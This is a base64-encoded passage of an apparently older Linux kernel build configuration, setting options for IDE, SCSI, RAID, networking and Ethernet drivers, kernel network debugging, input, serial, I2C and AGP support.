Q09ORklHX0JMS19ERVZfSURFRE1BX0ZPUkNFRCBpcyBub3Qgc2V0CkNPTkZJR19JREVETUFfUENJ X0FVVE89eQojIENPTkZJR19JREVETUFfT05MWURJU0sgaXMgbm90IHNldAojIENPTkZJR19JREVE TUFfUENJX1dJUCBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX0FETUE9eQojIENPTkZJR19CTEtf REVWX0FFQzYyWFggaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0FMSTE1WDMgaXMgbm90IHNl dAojIENPTkZJR19CTEtfREVWX0FNRDc0WFggaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0NN RDY0WCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfVFJJRkxFWCBpcyBub3Qgc2V0CiMgQ09O RklHX0JMS19ERVZfQ1k4MkM2OTMgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0NTNTUyMCBp cyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfQ1M1NTMwIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxL X0RFVl9IUFQzNFggaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0hQVDM2NiBpcyBub3Qgc2V0 CiMgQ09ORklHX0JMS19ERVZfU0MxMjAwIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfUElJWD15 CiMgQ09ORklHX0JMS19ERVZfTlM4NzQxNSBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfUERD MjAyWFhfT0xEIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9QREMyMDJYWF9ORVcgaXMgbm90 IHNldAojIENPTkZJR19CTEtfREVWX1NWV0tTIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9T SUlNQUdFIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9TSVM1NTEzIGlzIG5vdCBzZXQKIyBD T05GSUdfQkxLX0RFVl9TTEM5MEU2NiBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfVFJNMjkw IGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9WSUE4MkNYWFggaXMgbm90IHNldAojIENPTkZJ R19JREVfQ0hJUFNFVFMgaXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9JREVETUE9eQojIENPTkZJ R19JREVETUFfSVZCIGlzIG5vdCBzZXQKQ09ORklHX0lERURNQV9BVVRPPXkKIyBDT05GSUdfRE1B X05PTlBDSSBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfSEQgaXMgbm90IHNldAoKIwojIFND U0kgZGV2aWNlIHN1cHBvcnQKIwpDT05GSUdfU0NTST15CkNPTkZJR19TQ1NJX1BST0NfRlM9eQoK IwojIFNDU0kgc3VwcG9ydCB0eXBlIChkaXNrLCB0YXBlLCBDRC1ST00pCiMKIyBDT05GSUdfQkxL X0RFVl9TRCBpcyBub3Qgc2V0CiMgQ09ORklHX0NIUl9ERVZfU1QgaXMgbm90IHNldAojIENPTkZJ R19DSFJfREVWX09TU1QgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1NSIGlzIG5vdCBzZXQK IyBDT05GSUdfQ0hSX0RFVl9TRyBpcyBub3Qgc2V0CgojCiMgU29tZSBTQ1NJIGRldmljZXMgKGUu Zy4gQ0QganVrZWJveCkgc3VwcG9ydCBtdWx0aXBsZSBMVU5zCiMKIyBDT05GSUdfU0NTSV9NVUxU SV9MVU4gaXMgbm90IHNldApDT05GSUdfU0NTSV9SRVBPUlRfTFVOUz15CiMgQ09ORklHX1NDU0lf Q09OU1RBTlRTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9MT0dHSU5HIGlzIG5vdCBzZXQKCiMK IyBTQ1NJIGxvdy1sZXZlbCBkcml2ZXJzCiMKIyBDT05GSUdfQkxLX0RFVl8zV19YWFhYX1JBSUQg aXMgbm90IHNldAojIENPTkZJR19TQ1NJXzcwMDBGQVNTVCBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJ X0FDQVJEPW0KQ09ORklHX1NDU0lfQUhBMTUyWD1tCkNPTkZJR19TQ1NJX0FIQTE1NDI9bQojIENP TkZJR19TQ1NJX0FBQ1JBSUQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0FJQzdYWFggaXMgbm90 IHNldAojIENPTkZJR19TQ1NJX0FJQzdYWFhfT0xEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9B SUM3OVhYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BRFZBTlNZUyBpcyBub3Qgc2V0CiMgQ09O RklHX1NDU0lfSU4yMDAwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9NRUdBUkFJRCBpcyBub3Qg c2V0CiMgQ09ORklHX1NDU0lfU0FUQSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQlVTTE9HSUMg aXMgbm90IHNldAojIENPTkZJR19TQ1NJX0NQUUZDVFMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJ X0RNWDMxOTFEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9EVEMzMjgwIGlzIG5vdCBzZXQKIyBD T05GSUdfU0NTSV9FQVRBIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9FQVRBX1BJTyBpcyBub3Qg c2V0CiMgQ09ORklHX1NDU0lfRlVUVVJFX0RPTUFJTiBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lf R0RUSCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfR0VORVJJQ19OQ1I1MzgwIGlzIG5vdCBzZXQK IyBDT05GSUdfU0NTSV9HRU5FUklDX05DUjUzODBfTU1JTyBpcyBub3Qgc2V0CiMgQ09ORklHX1ND U0lfSVBTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9JTklBMTAwIGlzIG5vdCBzZXQKIyBDT05G SUdfU0NTSV9QUEEgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0lNTSBpcyBub3Qgc2V0CiMgQ09O RklHX1NDU0lfTkNSNTNDNDA2QSBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJX1NZTTUzQzhYWF8yPXkK Q09ORklHX1NDU0lfU1lNNTNDOFhYX0RNQV9BRERSRVNTSU5HX01PREU9MQpDT05GSUdfU0NTSV9T WU01M0M4WFhfREVGQVVMVF9UQUdTPTE2CkNPTkZJR19TQ1NJX1NZTTUzQzhYWF9NQVhfVEFHUz02 NAojIENPTkZJR19TQ1NJX1NZTTUzQzhYWF9JT01BUFBFRCBpcyBub3Qgc2V0CiMgQ09ORklHX1ND U0lfUEFTMTYgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1BTSTI0MEkgaXMgbm90IHNldAojIENP TkZJR19TQ1NJX1FMT0dJQ19GQVMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1FMT0dJQ19JU1Ag aXMgbm90IHNldAojIENPTkZJR19TQ1NJX1FMT0dJQ19GQyBpcyBub3Qgc2V0CiMgQ09ORklHX1ND U0lfUUxPR0lDXzEyODAgaXMgbm90IHNldApDT05GSUdfU0NTSV9RTEEyWFhYX0NPTkZJRz15CkNP TkZJR19TQ1NJX1FMQTJYWFg9eQpDT05GSUdfU0NTSV9RTEEyMVhYPXkKQ09ORklHX1NDU0lfUUxB MjJYWD15CkNPTkZJR19TQ1NJX1FMQTIzWFg9bQojIENPTkZJR19TQ1NJX1NZTTUzQzQxNiBpcyBu b3Qgc2V0CiMgQ09ORklHX1NDU0lfREMzOTV4IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9EQzM5 MFQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1QxMjggaXMgbm90IHNldAojIENPTkZJR19TQ1NJ X1UxNF8zNEYgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1VMVFJBU1RPUiBpcyBub3Qgc2V0CiMg Q09ORklHX1NDU0lfTlNQMzIgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RFQlVHIGlzIG5vdCBz ZXQKCiMKIyBPbGQgQ0QtUk9NIGRyaXZlcnMgKG5vdCBTQ1NJLCBub3QgSURFKQojCiMgQ09ORklH X0NEX05PX0lERVNDU0kgaXMgbm90IHNldAoKIwojIE11bHRpLWRldmljZSBzdXBwb3J0IChSQUlE IGFuZCBMVk0pCiMKQ09ORklHX01EPXkKQ09ORklHX0JMS19ERVZfTUQ9eQpDT05GSUdfTURfTElO RUFSPXkKQ09ORklHX01EX1JBSUQwPXkKQ09ORklHX01EX1JBSUQxPXkKQ09ORklHX01EX1JBSUQ1 PXkKIyBDT05GSUdfTURfUkFJRDYgaXMgbm90IHNldApDT05GSUdfTURfTVVMVElQQVRIPXkKQ09O RklHX0JMS19ERVZfRE09eQpDT05GSUdfRE1fSU9DVExfVjQ9eQoKIwojIEZ1c2lvbiBNUFQgZGV2 aWNlIHN1cHBvcnQKIwoKIwojIElFRUUgMTM5NCAoRmlyZVdpcmUpIHN1cHBvcnQgKEVYUEVSSU1F TlRBTCkKIwojIENPTkZJR19JRUVFMTM5NCBpcyBub3Qgc2V0CgojCiMgSTJPIGRldmljZSBzdXBw b3J0CiMKIyBDT05GSUdfSTJPIGlzIG5vdCBzZXQKCiMKIyBOZXR3b3JraW5nIHN1cHBvcnQKIwpD T05GSUdfTkVUPXkKCiMKIyBOZXR3b3JraW5nIG9wdGlvbnMKIwpDT05GSUdfUEFDS0VUPXkKQ09O RklHX1BBQ0tFVF9NTUFQPXkKIyBDT05GSUdfTkVUTElOS19ERVYgaXMgbm90IHNldApDT05GSUdf VU5JWD15CkNPTkZJR19ORVRfS0VZPXkKQ09ORklHX0lORVQ9eQojIENPTkZJR19JUF9NVUxUSUNB U1QgaXMgbm90IHNldAojIENPTkZJR19JUF9BRFZBTkNFRF9ST1VURVIgaXMgbm90IHNldAojIENP TkZJR19JUF9QTlAgaXMgbm90IHNldAojIENPTkZJR19ORVRfSVBJUCBpcyBub3Qgc2V0CiMgQ09O RklHX05FVF9JUEdSRSBpcyBub3Qgc2V0CiMgQ09ORklHX0FSUEQgaXMgbm90IHNldAojIENPTkZJ R19JTkVUX0VDTiBpcyBub3Qgc2V0CiMgQ09ORklHX1NZTl9DT09LSUVTIGlzIG5vdCBzZXQKIyBD T05GSUdfSU5FVF9BSCBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVRfRVNQIGlzIG5vdCBzZXQKIyBD T05GSUdfSU5FVF9JUENPTVAgaXMgbm90IHNldApDT05GSUdfSVBWNj15CkNPTkZJR19JUFY2X1BS SVZBQ1k9eQojIENPTkZJR19JTkVUNl9BSCBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVQ2X0VTUCBp cyBub3Qgc2V0CiMgQ09ORklHX0lORVQ2X0lQQ09NUCBpcyBub3Qgc2V0CiMgQ09ORklHX0lQVjZf VFVOTkVMIGlzIG5vdCBzZXQKIyBDT05GSUdfREVDTkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfQlJJ REdFIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVURklMVEVSIGlzIG5vdCBzZXQKQ09ORklHX1hGUk09 eQojIENPTkZJR19YRlJNX1VTRVIgaXMgbm90IHNldAoKIwojIFNDVFAgQ29uZmlndXJhdGlvbiAo RVhQRVJJTUVOVEFMKQojCkNPTkZJR19JUFY2X1NDVFBfXz15CiMgQ09ORklHX0lQX1NDVFAgaXMg bm90IHNldAojIENPTkZJR19BVE0gaXMgbm90IHNldAojIENPTkZJR19WTEFOXzgwMjFRIGlzIG5v dCBzZXQKIyBDT05GSUdfTExDMiBpcyBub3Qgc2V0CiMgQ09ORklHX0lQWCBpcyBub3Qgc2V0CiMg Q09ORklHX0FUQUxLIGlzIG5vdCBzZXQKIyBDT05GSUdfWDI1IGlzIG5vdCBzZXQKIyBDT05GSUdf TEFQQiBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9ESVZFUlQgaXMgbm90IHNldAojIENPTkZJR19F Q09ORVQgaXMgbm90IHNldAojIENPTkZJR19XQU5fUk9VVEVSIGlzIG5vdCBzZXQKIyBDT05GSUdf TkVUX0ZBU1RST1VURSBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9IV19GTE9XQ09OVFJPTCBpcyBu b3Qgc2V0CgojCiMgUW9TIGFuZC9vciBmYWlyIHF1ZXVlaW5nCiMKIyBDT05GSUdfTkVUX1NDSEVE IGlzIG5vdCBzZXQKCiMKIyBOZXR3b3JrIHRlc3RpbmcKIwojIENPTkZJR19ORVRfUEtUR0VOIGlz IG5vdCBzZXQKQ09ORklHX05FVERFVklDRVM9eQoKIwojIEFSQ25ldCBkZXZpY2VzCiMKIyBDT05G SUdfQVJDTkVUIGlzIG5vdCBzZXQKQ09ORklHX0RVTU1ZPXkKIyBDT05GSUdfQk9ORElORyBpcyBu b3Qgc2V0CiMgQ09ORklHX0VRVUFMSVpFUiBpcyBub3Qgc2V0CiMgQ09ORklHX1RVTiBpcyBub3Qg c2V0CiMgQ09ORklHX05FVF9TQjEwMDAgaXMgbm90IHNldAoKIwojIEV0aGVybmV0ICgxMCBvciAx MDBNYml0KQojCkNPTkZJR19ORVRfRVRIRVJORVQ9eQpDT05GSUdfTUlJPXkKIyBDT05GSUdfSEFQ UFlNRUFMIGlzIG5vdCBzZXQKIyBDT05GSUdfU1VOR0VNIGlzIG5vdCBzZXQKQ09ORklHX05FVF9W RU5ET1JfM0NPTT15CiMgQ09ORklHX0VMMSBpcyBub3Qgc2V0CiMgQ09ORklHX0VMMiBpcyBub3Qg c2V0CiMgQ09ORklHX0VMUExVUyBpcyBub3Qgc2V0CiMgQ09ORklHX0VMMTYgaXMgbm90IHNldApD T05GSUdfRUwzPXkKIyBDT05GSUdfM0M1MTUgaXMgbm90IHNldApDT05GSUdfVk9SVEVYPXkKIyBD T05GSUdfVFlQSE9PTiBpcyBub3Qgc2V0CiMgQ09ORklHX0xBTkNFIGlzIG5vdCBzZXQKIyBDT05G SUdfTkVUX1ZFTkRPUl9TTUMgaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX1JBQ0FMIGlz IG5vdCBzZXQKCiMKIyBUdWxpcCBmYW1pbHkgbmV0d29yayBkZXZpY2Ugc3VwcG9ydAojCkNPTkZJ R19ORVRfVFVMSVA9eQojIENPTkZJR19ERTIxMDRYIGlzIG5vdCBzZXQKIyBDT05GSUdfVFVMSVAg aXMgbm90IHNldApDT05GSUdfREU0WDU9bQojIENPTkZJR19XSU5CT05EXzg0MCBpcyBub3Qgc2V0 CiMgQ09ORklHX0RNOTEwMiBpcyBub3Qgc2V0CiMgQ09ORklHX0FUMTcwMCBpcyBub3Qgc2V0CiMg Q09ORklHX0RFUENBIGlzIG5vdCBzZXQKIyBDT05GSUdfSFAxMDAgaXMgbm90IHNldAojIENPTkZJ R19ORVRfSVNBIGlzIG5vdCBzZXQKQ09ORklHX05FVF9QQ0k9eQpDT05GSUdfUENORVQzMj1tCiMg Q09ORklHX0FNRDgxMTFfRVRIIGlzIG5vdCBzZXQKIyBDT05GSUdfQURBUFRFQ19TVEFSRklSRSBp cyBub3Qgc2V0CiMgQ09ORklHX0FDMzIwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0FQUklDT1QgaXMg bm90IHNldAojIENPTkZJR19CNDQgaXMgbm90IHNldAojIENPTkZJR19GT1JDRURFVEggaXMgbm90 IHNldAojIENPTkZJR19DUzg5eDAgaXMgbm90IHNldAojIENPTkZJR19ER1JTIGlzIG5vdCBzZXQK IyBDT05GSUdfRUVQUk8xMDAgaXMgbm90IHNldApDT05GSUdfRTEwMD15CiMgQ09ORklHX0UxMDBf TkFQSSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZFQUxOWCBpcyBub3Qgc2V0CiMgQ09ORklHX05BVFNF TUkgaXMgbm90IHNldAojIENPTkZJR19ORTJLX1BDSSBpcyBub3Qgc2V0CkNPTkZJR184MTM5Q1A9 bQpDT05GSUdfODEzOVRPTz1tCiMgQ09ORklHXzgxMzlUT09fUElPIGlzIG5vdCBzZXQKIyBDT05G SUdfODEzOVRPT19UVU5FX1RXSVNURVIgaXMgbm90IHNldAojIENPTkZJR184MTM5VE9PXzgxMjkg aXMgbm90IHNldAojIENPTkZJR184MTM5X09MRF9SWF9SRVNFVCBpcyBub3Qgc2V0CkNPTkZJR184 MTM5X1JYQlVGX0lEWD0yCiMgQ09ORklHX1NJUzkwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0VQSUMx MDAgaXMgbm90IHNldAojIENPTkZJR19TVU5EQU5DRSBpcyBub3Qgc2V0CiMgQ09ORklHX1RMQU4g aXMgbm90IHNldAojIENPTkZJR19WSUFfUkhJTkUgaXMgbm90IHNldAojIENPTkZJR19ORVRfUE9D S0VUIGlzIG5vdCBzZXQKCiMKIyBFdGhlcm5ldCAoMTAwMCBNYml0KQojCiMgQ09ORklHX0FDRU5J QyBpcyBub3Qgc2V0CiMgQ09ORklHX0RMMksgaXMgbm90IHNldAojIENPTkZJR19FMTAwMCBpcyBu b3Qgc2V0CiMgQ09ORklHX05TODM4MjAgaXMgbm90IHNldAojIENPTkZJR19IQU1BQ0hJIGlzIG5v dCBzZXQKIyBDT05GSUdfWUVMTE9XRklOIGlzIG5vdCBzZXQKIyBDT05GSUdfUjgxNjkgaXMgbm90 IHNldAojIENPTkZJR19TSVMxOTAgaXMgbm90IHNldAojIENPTkZJR19TSzk4TElOIGlzIG5vdCBz ZXQKQ09ORklHX1RJR09OMz15CgojCiMgRXRoZXJuZXQgKDEwMDAwIE1iaXQpCiMKIyBDT05GSUdf SVhHQiBpcyBub3Qgc2V0CiMgQ09ORklHX0ZEREkgaXMgbm90IHNldAojIENPTkZJR19ISVBQSSBp cyBub3Qgc2V0CiMgQ09ORklHX1BMSVAgaXMgbm90IHNldAojIENPTkZJR19QUFAgaXMgbm90IHNl dAojIENPTkZJR19TTElQIGlzIG5vdCBzZXQKCiMKIyBXaXJlbGVzcyBMQU4gKG5vbi1oYW1yYWRp bykKIwojIENPTkZJR19ORVRfUkFESU8gaXMgbm90IHNldAoKIwojIFRva2VuIFJpbmcgZGV2aWNl cwojCiMgQ09ORklHX1RSIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0ZDIGlzIG5vdCBzZXQKIyBD T05GSUdfUkNQQ0kgaXMgbm90IHNldAojIENPTkZJR19TSEFQRVIgaXMgbm90IHNldAojIENPTkZJ R19ORVRDT05TT0xFIGlzIG5vdCBzZXQKCiMKIyBXYW4gaW50ZXJmYWNlcwojCkNPTkZJR19XQU49 eQojIENPTkZJR19IT1NURVNTX1NWMTEgaXMgbm90IHNldAojIENPTkZJR19DT1NBIGlzIG5vdCBz ZXQKIyBDT05GSUdfRFNDQzQgaXMgbm90IHNldAojIENPTkZJR19MQU5NRURJQSBpcyBub3Qgc2V0 CiMgQ09ORklHX1NFQUxFVkVMXzQwMjEgaXMgbm90IHNldAojIENPTkZJR19TWU5DTElOS19TWU5D UFBQIGlzIG5vdCBzZXQKQ09ORklHX0hETEM9eQojIENPTkZJR19IRExDX1JBVyBpcyBub3Qgc2V0 CiMgQ09ORklHX0hETENfUkFXX0VUSCBpcyBub3Qgc2V0CiMgQ09ORklHX0hETENfQ0lTQ08gaXMg bm90IHNldAojIENPTkZJR19IRExDX0ZSIGlzIG5vdCBzZXQKIyBDT05GSUdfSERMQ19QUFAgaXMg bm90IHNldAoKIwojIFguMjUvTEFQQiBzdXBwb3J0IGlzIGRpc2FibGVkCiMKIyBDT05GSUdfUENJ MjAwU1lOIGlzIG5vdCBzZXQKQ09ORklHX1dBTlhMPXkKIyBDT05GSUdfV0FOWExfQlVJTERfRklS TVdBUkUgaXMgbm90IHNldAojIENPTkZJR19QQzMwMCBpcyBub3Qgc2V0CiMgQ09ORklHX04yIGlz IG5vdCBzZXQKIyBDT05GSUdfQzEwMSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZBUlNZTkMgaXMgbm90 IHNldAojIENPTkZJR19ETENJIGlzIG5vdCBzZXQKIyBDT05GSUdfU0JOSSBpcyBub3Qgc2V0Cgoj CiMgQW1hdGV1ciBSYWRpbyBzdXBwb3J0CiMKIyBDT05GSUdfSEFNUkFESU8gaXMgbm90IHNldAoK IwojIElyREEgKGluZnJhcmVkKSBzdXBwb3J0CiMKIyBDT05GSUdfSVJEQSBpcyBub3Qgc2V0Cgoj CiMgQmx1ZXRvb3RoIHN1cHBvcnQKIwojIENPTkZJR19CVCBpcyBub3Qgc2V0CkNPTkZJR19LR0RC T0U9eQpDT05GSUdfTkVUUE9MTD15CkNPTkZJR19ORVRQT0xMX1JYPXkKQ09ORklHX05FVFBPTExf VFJBUD15CkNPTkZJR19ORVRfUE9MTF9DT05UUk9MTEVSPXkKCiMKIyBJU0ROIHN1YnN5c3RlbQoj CiMgQ09ORklHX0lTRE5fQk9PTCBpcyBub3Qgc2V0CgojCiMgVGVsZXBob255IFN1cHBvcnQKIwoj IENPTkZJR19QSE9ORSBpcyBub3Qgc2V0CgojCiMgSW5wdXQgZGV2aWNlIHN1cHBvcnQKIwpDT05G SUdfSU5QVVQ9eQoKIwojIFVzZXJsYW5kIGludGVyZmFjZXMKIwpDT05GSUdfSU5QVVRfTU9VU0VE RVY9eQpDT05GSUdfSU5QVVRfTU9VU0VERVZfUFNBVVg9eQpDT05GSUdfSU5QVVRfTU9VU0VERVZf U0NSRUVOX1g9MTAyNApDT05GSUdfSU5QVVRfTU9VU0VERVZfU0NSRUVOX1k9NzY4CiMgQ09ORklH X0lOUFVUX0pPWURFViBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX1RTREVWIGlzIG5vdCBzZXQK IyBDT05GSUdfSU5QVVRfRVZERVYgaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9FVkJVRyBpcyBu b3Qgc2V0CgojCiMgSW5wdXQgSS9PIGRyaXZlcnMKIwpDT05GSUdfR0FNRVBPUlQ9eQpDT05GSUdf U09VTkRfR0FNRVBPUlQ9eQojIENPTkZJR19HQU1FUE9SVF9OUzU1OCBpcyBub3Qgc2V0CiMgQ09O RklHX0dBTUVQT1JUX0w0IGlzIG5vdCBzZXQKIyBDT05GSUdfR0FNRVBPUlRfRU1VMTBLMSBpcyBu b3Qgc2V0CiMgQ09ORklHX0dBTUVQT1JUX1ZPUlRFWCBpcyBub3Qgc2V0CiMgQ09ORklHX0dBTUVQ T1JUX0ZNODAxIGlzIG5vdCBzZXQKIyBDT05GSUdfR0FNRVBPUlRfQ1M0NjF4IGlzIG5vdCBzZXQK Q09ORklHX1NFUklPPXkKQ09ORklHX1NFUklPX0k4MDQyPXkKQ09ORklHX1NFUklPX1NFUlBPUlQ9 eQojIENPTkZJR19TRVJJT19DVDgyQzcxMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFUklPX1BBUktC RCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFUklPX1BDSVBTMiBpcyBub3Qgc2V0CgojCiMgSW5wdXQg RGV2aWNlIERyaXZlcnMKIwpDT05GSUdfSU5QVVRfS0VZQk9BUkQ9eQpDT05GSUdfS0VZQk9BUkRf QVRLQkQ9eQojIENPTkZJR19LRVlCT0FSRF9TVU5LQkQgaXMgbm90IHNldAojIENPTkZJR19LRVlC T0FSRF9YVEtCRCBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX05FV1RPTiBpcyBub3Qgc2V0 CkNPTkZJR19JTlBVVF9NT1VTRT15CkNPTkZJR19NT1VTRV9QUzI9eQojIENPTkZJR19NT1VTRV9T RVJJQUwgaXMgbm90IHNldAojIENPTkZJR19NT1VTRV9JTlBPUlQgaXMgbm90IHNldAojIENPTkZJ R19NT1VTRV9MT0dJQk0gaXMgbm90IHNldAojIENPTkZJR19NT1VTRV9QQzExMFBBRCBpcyBub3Qg c2V0CiMgQ09ORklHX0lOUFVUX0pPWVNUSUNLIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfVE9V Q0hTQ1JFRU4gaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9NSVNDIGlzIG5vdCBzZXQKCiMKIyBD aGFyYWN0ZXIgZGV2aWNlcwojCkNPTkZJR19WVD15CkNPTkZJR19WVF9DT05TT0xFPXkKQ09ORklH X0hXX0NPTlNPTEU9eQojIENPTkZJR19TRVJJQUxfTk9OU1RBTkRBUkQgaXMgbm90IHNldAoKIwoj IFNlcmlhbCBkcml2ZXJzCiMKQ09ORklHX1NFUklBTF84MjUwPXkKQ09ORklHX1NFUklBTF84MjUw X0NPTlNPTEU9eQojIENPTkZJR19TRVJJQUxfODI1MF9BQ1BJIGlzIG5vdCBzZXQKQ09ORklHX1NF UklBTF84MjUwX05SX1VBUlRTPTQKIyBDT05GSUdfU0VSSUFMXzgyNTBfRVhURU5ERUQgaXMgbm90 IHNldAoKIwojIE5vbi04MjUwIHNlcmlhbCBwb3J0IHN1cHBvcnQKIwpDT05GSUdfU0VSSUFMX0NP UkU9eQpDT05GSUdfU0VSSUFMX0NPUkVfQ09OU09MRT15CkNPTkZJR19VTklYOThfUFRZUz15CkNP TkZJR19VTklYOThfUFRZX0NPVU5UPTI1NgojIENPTkZJR19QUklOVEVSIGlzIG5vdCBzZXQKIyBD T05GSUdfUFBERVYgaXMgbm90IHNldAojIENPTkZJR19USVBBUiBpcyBub3Qgc2V0CgojCiMgSTJD IHN1cHBvcnQKIwpDT05GSUdfSTJDPXkKIyBDT05GSUdfSTJDX0NIQVJERVYgaXMgbm90IHNldAoK IwojIEkyQyBBbGdvcml0aG1zCiMKQ09ORklHX0kyQ19BTEdPQklUPXkKIyBDT05GSUdfSTJDX0FM R09QQ0YgaXMgbm90IHNldAoKIwojIEkyQyBIYXJkd2FyZSBCdXMgc3VwcG9ydAojCiMgQ09ORklH X0kyQ19BTEkxNTM1IGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX0FMSTE1WDMgaXMgbm90IHNldAoj IENPTkZJR19JMkNfQU1ENzU2IGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX0FNRDgxMTEgaXMgbm90 IHNldAojIENPTkZJR19JMkNfRUxWIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX0k4MDEgaXMgbm90 IHNldAojIENPTkZJR19JMkNfSTgxMCBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19JU0EgaXMgbm90 IHNldAojIENPTkZJR19JMkNfTkZPUkNFMiBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19QSElMSVBT UEFSIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX1BJSVg0IGlzIG5vdCBzZXQKIyBDT05GSUdfSTJD X1BST1NBVkFHRSBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19TQVZBR0U0IGlzIG5vdCBzZXQKIyBD T05GSUdfU0N4MjAwX0FDQiBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19TSVM1NTk1IGlzIG5vdCBz ZXQKIyBDT05GSUdfSTJDX1NJUzYzMCBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19TSVM5NlggaXMg bm90IHNldAojIENPTkZJR19JMkNfVkVMTEVNQU4gaXMgbm90IHNldAojIENPTkZJR19JMkNfVklB IGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX1ZJQVBSTyBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19W T09ET08zIGlzIG5vdCBzZXQKCiMKIyBJMkMgSGFyZHdhcmUgU2Vuc29ycyBDaGlwIHN1cHBvcnQK IwojIENPTkZJR19JMkNfU0VOU09SIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19BRE0xMDIx IGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19FRVBST00gaXMgbm90IHNldAojIENPTkZJR19T RU5TT1JTX0lUODcgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNNzUgaXMgbm90IHNldAoj IENPTkZJR19TRU5TT1JTX0xNNzggaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNODMgaXMg bm90IHNldAojIENPTkZJR19TRU5TT1JTX0xNODUgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JT X1ZJQTY4NkEgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX1c4Mzc4MUQgaXMgbm90IHNldAoK IwojIE1pY2UKIwojIENPTkZJR19CVVNNT1VTRSBpcyBub3Qgc2V0CiMgQ09ORklHX1FJQzAyX1RB UEUgaXMgbm90IHNldAoKIwojIElQTUkKIwojIENPTkZJR19JUE1JX0hBTkRMRVIgaXMgbm90IHNl dAoKIwojIFdhdGNoZG9nIENhcmRzCiMKIyBDT05GSUdfV0FUQ0hET0cgaXMgbm90IHNldAojIENP TkZJR19IV19SQU5ET00gaXMgbm90IHNldAojIENPTkZJR19OVlJBTSBpcyBub3Qgc2V0CkNPTkZJ R19SVEM9eQojIENPTkZJR19EVExLIGlzIG5vdCBzZXQKIyBDT05GSUdfUjM5NjQgaXMgbm90IHNl dAojIENPTkZJR19BUFBMSUNPTSBpcyBub3Qgc2V0CiMgQ09ORklHX1NPTllQSSBpcyBub3Qgc2V0 CgojCiMgRnRhcGUsIHRoZSBmbG9wcHkgdGFwZSBkZXZpY2UgZHJpdmVyCiMKQ09ORklHX0FHUD1t CiMgQ09ORklHX0FHUF9BTEkgaXMgbm90IHNldAojIENPTkZJR19BR1BfQVRJIGlzIG5vdCBzZXQK IyBDT05GSUdfQUdQX0FNRCBpcyBub3Qgc2V0CiMgQ09ORklHX0FHUF9BTUQ2NCBpcyBub3Qgc2V0 